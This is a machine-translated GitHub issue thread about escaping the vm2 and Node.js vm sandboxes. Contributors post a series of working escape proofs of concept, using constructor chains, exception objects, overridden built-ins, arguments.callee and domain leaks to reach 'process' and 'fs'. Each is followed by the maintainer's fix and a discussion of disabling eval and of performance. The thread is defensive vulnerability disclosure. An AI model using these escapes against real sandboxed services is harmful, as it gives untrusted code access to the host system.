有可能逃脱 VM 并执行非常不受欢迎的操作。
通过以下与节点的本机 VM 相关的要点找到: https :
以以下2个代码示例为例:
const VM = require('vm2').VM;
const options = {
sandbox: {}
};
const vm = new VM(options);
vm.run(`
const ForeignFunction = global.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`);
和 :
const NodeVM = require('vm2').NodeVM;
const options = {
console: 'off',
sandbox: {},
require: false,
requireExternal: false,
requireNative: [],
requireRoot : "./"
};
const vm = new NodeVM(options);
vm.run(`
const ForeignFunction = global.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`);
运行以下任一输出:
{ dev: 16777220,
mode: 16877,
nlink: 14,
uid: 502,
gid: 20,
rdev: 0,
blksize: 4096,
ino: 14441430,
size: 476,
blocks: 0,
atime: 2016-06-15T22:20:05.000Z,
mtime: 2016-06-15T22:19:59.000Z,
ctime: 2016-06-15T22:19:59.000Z,
birthtime: 2016-06-09T01:02:12.000Z }
我已经在 v4.4.5 和 v6.2.1 上验证了这种行为
感谢您的报告,我正在努力开发新版本的 vm2,我能够通过在创建的上下文中创建上下文来修复此泄漏。 不确定是否有另一种方法可以逃离沙箱,还没有找到。
const context = vm.createContext(vm.runInNewContext("({})"));
const whatIsThis = vm.runInContext(`
const ForeignFunction = this.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`, context);
试图爬上去,但似乎不可能,因为这是true
:
this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()
我一直在玩你上面提到的方法。
第一个目标是尝试调整您的评论,以允许我将内容传递到沙箱中,这对于我的用例来说是必要的。 如果这是解决此问题的错误方法,请纠正我,但这似乎是唯一的方法:
const vm = require('vm');
const log = console.log;
const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
'log': log
});
const userScript = new vm.Script(`
(function() {
log('Hello World Inside');
return 'Hello World Outside';
})
`);
const whatIsThis = userScript.runInContext(context)();
console.log(whatIsThis);
输出:
Hello World Inside
Hello World Outside
接下来我再次尝试逃离VM并成功:
const vm = require('vm');
const log = console.log;
const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
'log': log
});
const userScript = new vm.Script(`
(function() {
const ForeignFunction = log.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
log('Hello World Inside');
return 'Hello World Outside';
})
`);
const whatIsThis = userScript.runInContext(context)();
console.log(whatIsThis);
哪些输出:
{ dev: 16777220,
mode: 16877,
nlink: 16,
uid: 502,
gid: 20,
rdev: 0,
blksize: 4096,
ino: 14441430,
size: 544,
blocks: 0,
atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside
似乎没有办法安全地将东西注入沙箱,除非这些东西被用来爬出沙箱。
有一种方法 - 对象需要与 VM 的上下文相关联。 有两种方法可以做到这一点。 您可以深度克隆这些对象,也可以使用代理。 我在新的 vm2 中使用代理。
https://github.com/patriksimek/vm2/tree/v3
我已将即将发布的版本推送到 GH。 它仍在进行中,但它应该可以工作。
v3 也坏了:
'use strict';
const {VM} = require('vm2');
const vm = new VM({
'sandbox' : {
'log' : console.log,
},
});
vm.run(`
try {
log.__proto__ = null;
}
catch (e) {
const foreignFunction = e.constructor.constructor;
const process = foreignFunction("return process")();
const require = process.mainModule.require;
const fs = require("fs");
log(fs.statSync('.'));
}
`);
玩这种打地鼠游戏是徒劳的。
@parasyte谢谢,这是由我的代码中的拼写错误引起的。 现在已经修好了。
不要忘记捕获异常。
'use strict';
const {VM} = require('vm2');
const vm = new VM({
'sandbox' : {
boom() {
throw new Error();
},
},
});
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction("return process")();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
try {
boom();
}
catch (e) {
exploit(e);
}
`);
@parasyte谢谢,已修复。 我真的很感谢你的贡献。
🚎 +1
@patriksimek不错的一个!
我还可以访问全局范围内的某些对象,我可以利用这些对象来突破上下文沙箱。 这甚至不需要将任何对象传递到 VM。
'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
Reflect.construct = exploit;
new Buffer([0]);
`);
@parasyte sheesh! 一定有大量的载体有待发现。
@keyosk是的,可能......
顺便说一句@patriksimek ES6 比coffeescript 好得多! 👍
@parasyte再次感谢,它已与我发现的更多后门一起修复。
@keyosk我相信我们会找到它们。
这个如何?
'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
Object.assign = function (o) {
return {
'get' : function (t, k) {
try {
t = o.get(t, k);
exploit(t);
}
catch (e) {}
return t;
},
};
};
new Buffer([0]);
`);
@parasyte不错的捕获,修复了这个问题。 谢谢。
您在最近的补丁中打开了一个全新的蠕虫罐头。
'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
try {
new Buffer();
}
catch (e) {
exploit(e);
}
`);
该死,我工作太晚了,注意力不集中。 写了一些安全说明,主要是为了我。 :)
谢谢,修好了。
好吧,直到现在我还没有研究过NodeVM
! 有更多的表面积需要擦洗,这里...
我立刻注意到通过arguments.callee
逃逸:
'use strict';
const {NodeVM} = require('vm2');
const vm = new NodeVM();
vm.run(`
function getParent(o) {
return o.constructor.constructor('return this')();
}
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');
return o;
}
(function () {
exploit(getParent(getParent(arguments.callee.caller)));
})();
`);
好吧,这将我们指向这里的初始问题 - 在新上下文中创建的上下文显然是不够的。 精简版:
vm.run(`
global.constructor.constructor('return this')().constructor.constructor('return process')()
`);
还没找到解决办法。 也许用delete process.mainModule
修补主机,但我相信还有另一种方法可以爬到require
。
找到了解决方案:-)
啊! 你赶上了! ;) 我必须为这样引导你而道歉。 对于那里的任何观众; node.js 中 VM 范围的问题在于对主机范围中对象的引用(您可以从中获得对所有主机范围的引用,通过原型链)。
既然您已经覆盖了constructor
属性,我将不得不在它下面进行操作:
function getParent(o) {
return o.__proto__.constructor.constructor('return this')();
}
在这里做了一些研究并注意到global.__proto__ === host.Object.prototype
。 通过应用Object.setPrototypeOf(global, Object.prototype)
我能够关闭 cricle。
再次感谢。
@parasyte @patriksimek这是在最新的 npm 发布版本上关闭的吗?
是的,我们可以暂时关闭它。
FWIW,我们只是通过禁用eval
... 并非常小心不要将引用暴露到沙箱中来解决这个问题。
#include <nan.h>
using v8::Local;
using v8::Context;
NAN_METHOD(enableEval) {
Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
ctx->AllowCodeGenerationFromStrings(true);
info.GetReturnValue().SetUndefined();
}
NAN_METHOD(disableEval) {
Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
ctx->AllowCodeGenerationFromStrings(false);
info.GetReturnValue().SetUndefined();
}
void Init(v8::Local<v8::Object> exports) {
exports->Set(Nan::New("enableEval").ToLocalChecked(),
Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());
exports->Set(Nan::New("disableEval").ToLocalChecked(),
Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}
NODE_MODULE(vm8, Init)
这可以防止转义,因为无法评估return process
字符串。 因此,它还会禁用合法的eval()
和函数生成器构造函数调用。 (这些功能的实用性相当值得怀疑。)
@parasyte只是为了清楚起见,这是您在其他地方实施的吗? 或者对 vm2 有什么贡献?
@keyscores这是在别处实现的。
是的,别处。 我们有一个类似的沙箱项目,目前正在等待批准发布开源。 对困惑感到抱歉。 我正在评论该项目中如何解决根本问题。
@parasyte任何更新您的版本? 有兴趣比较实现。 我认为每个人都会赢。
@keyscores抱歉,尚无任何报告。 由于组织中的一些糟糕的计划,开源工作被取消了优先级。 :\
我知道这是一个死问题,但是在执行这样的代码时,Node 的vm
库是否有任何已知的绕过:
javascript
vm.runInNewContext("arbitrary user input here", Object.create(null))
@parasyte :出于好奇,为什么不在执行之前通过将global.eval = null;
注入外部代码的顶部来禁用 eval 呢?
@Eric24好问题! 本演示文稿详细解释了原因: https : https :
最重要的一点是,JavaScript 中调用eval()
方式有很多种,替换global.eval
只是其中一种。 当您浏览整个列表时,您会意识到不可能通过GeneratorFunction对 eval 进行猴子修补。 并且这不包括eval()
可能会因未来的 ES 更改而暴露的无数其他方式。
所以唯一可行的解决方案是在 V8 中使用 C++ 禁用 eval。
@parasyte :非常有道理(并感谢您的介绍)。 那么,您的 C++ 代码是否仅在 vm 或“主机进程”中禁用 eval ?
@Eric24它将在调用 disableEval 的上下文中禁用 eval。您需要将其注入到要在 vm 中运行的提供的用户空间代码的开头。 此外,您还可以在您的主机中运行它并在该上下文中禁用它。
@parasyte :明白了。 谢谢! 我不得不说,您的解决方案是我在几天(超过几周)研究该主题后找到的最好的解决方案。
@Anorov这是几天前报道的: https : domain
用法)。
这是一个方便的概念证明。 在节点 v8.6.0 上测试:
// 'use strict';
const domain = require('domain');
const vm = require('vm');
const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;
domain.create().enter(); // Entering a domain leaks the private context into VM
vm.runInNewContext(untrusted, Object.create(null));
请注意此类泄漏。 避免此类漏洞的唯一方法是禁用 eval。 并且担心vm
可能存在 eval 范围之外的其他问题。
@parasyte谢谢。 我正在使用 Python 中的 Node 执行此代码: https :
没有导入或使用其他库( domain
或其他)。 您是否发现此代码有任何潜在问题? 如果可能,我想避免需要 Javascript 依赖项(如 vm2)。
@Anorov啊,我明白了。 您是否担心 CloudFlare(或 MITM)会尝试提供可能突破沙箱的代码? 它必须是有针对性的攻击,但我不会完全排除它。
正确的。 可以想象有人也可以模仿我期待的页面
我的脚本认为它不是 Cloudflare。 我也在考虑
检查服务器的 IP 地址是否归 Cloudflare 所有
额外的预防措施。
但无论如何,让我们假设这段代码运行在任何任意
用户输入,而不仅仅是 Cloudflare 的输入。 沙盒机制安全吗?
Node 社区的最佳知识?
2017 年 10 月 2 日晚上 10:10,“Jay Oster”通知@ github.com 写道:
@Anorov https://github.com/anorov啊,我明白了。 你是否担心
CloudFlare(或 MITM)将尝试提供可能突破的代码
沙箱? 它必须是有针对性的攻击,但我不会裁定它
完全出来。—
你收到这个是因为你被提到了。
直接回复本邮件,在GitHub上查看
https://github.com/patriksimek/vm2/issues/32#issuecomment-333718695或静音
线程
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
.
我知道那个警告,但我问的是实用性。
2017 年 10 月 3 日下午 4:34,“Cody Massin”通知@ github.com 写道:
@Anorov https://github.com/anorov :
沙盒机制安全吗,最好的 Node 社区
知识?绝对不。 官方文档
https://nodejs.org/api/vm.html#vm_vm_executing_javascript使得这个
非常强烈的注意:注意:vm 模块不是一种安全机制。 不要用它来运行
不受信任的代码。—
你收到这个是因为你被提到了。
直接回复本邮件,在GitHub上查看
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953或静音
线程
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
.
在实践中,沙盒机制对于不受信任的代码是不安全的。 这就是@patriksimek尝试使用vm2
库创建安全沙盒机制的原因。 这也是为什么@parasyte使用不同的方法对不受信任的代码进行沙箱化来创建自己的库的原因。
@Anorov简而言之,不要仅仅依赖vm
。 但作为单层洋葱,它是一个有用的工具。
我一直在使用 vm 和建议的 C++ 代码来禁用来自@parasyte 的eval 。 它运行良好,但通常使用 vm 会带来非常显着的性能损失。 所以我们开始试验_new Function(...)_。 我正在使用这个结构:
const userfunc = new Function('context',
'"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');
这也有效,而且速度要快得多(在某些测试用例中快 1000 倍以上)。 除了禁用 eval 之外,我还防止用户态代码包含对“global”的引用(没有这个测试,函数可以使用 global.whatever 修改全局范围)。 这似乎是一个有效且安全的沙箱。 我错过了什么?
您的策略是否阻止人们导入 fs 之类的命名空间并彻底修改您的服务器? 我也很好奇禁用 eval,为什么要担心 eval 而不是担心 eval 之外的代码?
@wysisoft :好问题。 是的,'require' 没有公开。 每个脚本,作为其元数据的一部分,定义了它需要的“允许和验证”模块的列表,这些模块在运行之前单独暴露给函数。 就您而言,“fs”不会在该批准列表中(但对于需要临时存储的脚本,提供了一组有限的读/写功能)。
禁用 'eval' 是阻止许多漏洞利用的关键(请参阅@parasyte于 2016 年请见@parasyte于 10 月 17 日的评论)。
@Eric24我不明白vm
什么“慢”。 它与支持 nodeJS 的 v8 运行时完全相同。 你确定你没有做一些愚蠢的事情,比如每次执行代码时都重新创建沙箱? 有一些开销,但不是1000 倍以上的开销。
@wysisoft eval()
是一种易于访问的逃离沙盒的方法。 禁用它将通过在私有上下文中评估代码来永久关闭逃生舱口。 但我再次重申,这不是唯一的攻击媒介,您应该警惕一切。
@parasyte - 我有一个非常简单的测试,它创建了一个 Function() 和一个 VM,它们的代码尽可能接近相同的代码,运行 1000 次,并报告所需的总时间。 代码如下:
"use strict";
const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");
console.log('TEST=' + global.test);
let response = {result: 0, body: null};
// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
'"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123, y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');
// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
'"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123, y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);
// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');
// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');
// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
//ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid}; // << THIS IS THE PROBLEM!
//context = new vm.createContext(ctx);
out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');
正如您在测试中看到的,我创建了一次脚本和上下文,然后运行了 1000 次。 但是,在实际的目标用例中,我每次都需要重新创建上下文(可能能够缓存已编译的脚本),因为每次运行都是唯一的并且必须从新的上下文开始)。 不用每次都重新创建上下文,Function() 和 VM 的差别是 6 到 14 倍。
但是在仔细查看之后,我尝试了代码的变体(每次在循环内创建上下文),它更接近真实用例。 我最初将上下文的一次性创建时间安排在不到 1 毫秒,所以我在每次迭代的基础上都包括在内。 但是运行实际代码显示了真正的罪魁祸首——虽然 VM 仍然较慢,但问题不在于创建上下文,而是创建了 'ctx' 对象。 这真是一个惊喜。
但是每次都需要为 VM 上下文创建一个新对象(尽管 Function() 也需要一些变化,因此两者之间的差异又回到了 6 到 14 次(这仍然很重要) .
嗯。 我刚刚尝试了另一个测试:
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
// let context = new vm.createContext(ctx);
out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');
在这里,在两个测试中每次都重新创建 'ctx' 对象,但上下文只创建一次。 时差又回到了 6 到 14 的范围。 但是,如果我取消注释每次重新创建上下文的行,速度会慢 144 倍!
@Eric24你正在做我在上script.runInContext()
是问题所在。 这实际上与调用eval()
(使用不同的 v8 上下文)。
解决性能问题的解决方案是调用runInContext
一次来编译代码,并通过它返回的引用或作为输入参数提供的引用与编译的代码交互。 例如,传递一些new Event()
对象以与沙箱进行双向通信。 这就是我们的 [仍然是内部沙箱,由于政治原因尚未开源] vm
包装器所做的,并且开销完全可以忽略不计。
@parasyte :嗯。 但是 new vm.Script() 不是编译代码吗? 无论如何,我想按照你说的去做,我应该缓存的是对 runInContext 的引用,所以我只会在第一次调用脚本时承受开销。 绝对值得考虑。
不。 runInContext
编译代码。 想想看。 v8 是一个即时编译器。 它必须执行代码才能编译它。
@parasyte :好的,但是来自 node.js 文档:
_vm.Script 类的实例包含可以在特定沙箱(或“上下文”)中执行的预编译脚本。_
@Eric24文档有点混乱。 关联的代码片段被“编译”,就像解释器将 JavaScript 编译成字节码一样。 在实例化Script
对象后,JS 能够通过解释器执行,但是 v8 的大部分性能增益来自将此解释的中间表示编译为本地机器代码。 后者步骤不开始,直到runInContext
被调用。
实际上,JIT 编译器生命周期比这更复杂,因为代码必须在 JIT 考虑进行优化之前预热。 如果你对细节感兴趣,互联网上有很多阅读材料。
但是为了给你提供一些硬数据,这里是runInContext
的相关源代码: https :
realRunInContext
引用来自 C++ contextify
模块。 你可以在这里找到: https :
这个 C++ 代码最重要的部分可以说是对EvalMachine
的调用,它将编译后的代码绑定到当前上下文,并调用script->Run()
来启动 JIT 编译器。 这当然是开始寻找优化代码的原因。
希望有帮助!
@parasyte :是的,这很有帮助。 谢谢!
我们正在努力使用 vm2 沙箱实现一种实现。 我们可以在 vm2 沙箱中调用异步代码吗? 原因是,我们需要从vm2的沙箱中连接到像Mysql这样的数据源?
是的,您可以在沙箱内异步等待,您遇到了什么问题?
请记住,如果您正在运行不受信任的代码,您可能不想
授予对沙箱的完整 sql 访问权限。 相反,您可能想要添加一个
沙箱的 getdata() 方法在沙箱外运行代码,其中
实际的 SQL 连接发生。
2017 年 10 月 24 日,星期二,上午 6:49 Rajagopal Somasundaram <
通知@github.com> 写道:
我们正在努力使用 vm2 沙箱实现一种实现。 我们可以打电话吗
vm2 沙箱中的异步代码? 原因是,我们需要连接到一个
vm2沙箱中的Mysql之类的数据源?—
你收到这个是因为你被提到了。
直接回复本邮件,在GitHub上查看
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717或静音
线程
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
.
@wysisoft感谢您的回复,我们已经单独提出了详细信息https://github.com/patriksimek/vm2/issues/102的问题
@Eric24介意分享'new Function ()' 替代方案吗? 看起来比虚拟机干净
@platinumindustries :最后,我实际上不推荐“new Function()”替代方案。 我们最终坚持使用 VM 方法,而是专注于优化该代码。 我们现在所拥有的效果很好。 老实说,我不记得到底是什么促使我们朝那个方向发展,但我知道有几件小事最终将“new Function()”方法排除在列表之外。
@Eric24那么很好。 此外,在 NodeJS 10.9* 的新版本中,他们确实有一个选项可以在虚拟机中禁用 eval()。 那么这就够了,还是我仍然需要从 C 中禁用它
真的很抱歉跳入旧线程。
但是,在实际的目标用例中,我每次都需要重新创建上下文(可能能够缓存已编译的脚本),因为每次运行都是唯一的并且必须从新的上下文开始)。
@Eric24我正在研究如何在服务器应用程序中使用vm2
运行一些任意代码。 我相信我的用例与您提到的用例类似,因为我正在研究如何将传入请求中的参数/参数传递到 vm 内运行的代码中。
现在我能看到的唯一方法是每次都创建一个新的上下文,但这真的很慢。 我试图弄清楚我是否可以重用一个上下文对象,但使用其他一些机制向 VM 内运行的代码提供数据。 @parasyte提到了有关使用Event()
对象进行双向通信的内容,但我并不完全清楚。
我想知道您是否遇到了类似的问题,如果遇到了,您介意分享一些有关如何解决它的技巧吗? 谢谢你的时间。
@darahayes :实际上,我正在为每次运行创建一个新的上下文,但我根本不觉得这很慢。 您看到的表现与您期望的表现如何? 您如何衡量绩效?
我正在为每次运行启动一个新的 nodejs 进程,而且还不错,延迟不到 100 毫秒。
最有用的评论
啊! 你赶上了! ;) 我必须为这样引导你而道歉。 对于那里的任何观众; node.js 中 VM 范围的问题在于对主机范围中对象的引用(您可以从中获得对所有主机范围的引用,通过原型链)。
既然您已经覆盖了
constructor
属性,我将不得不在它下面进行操作: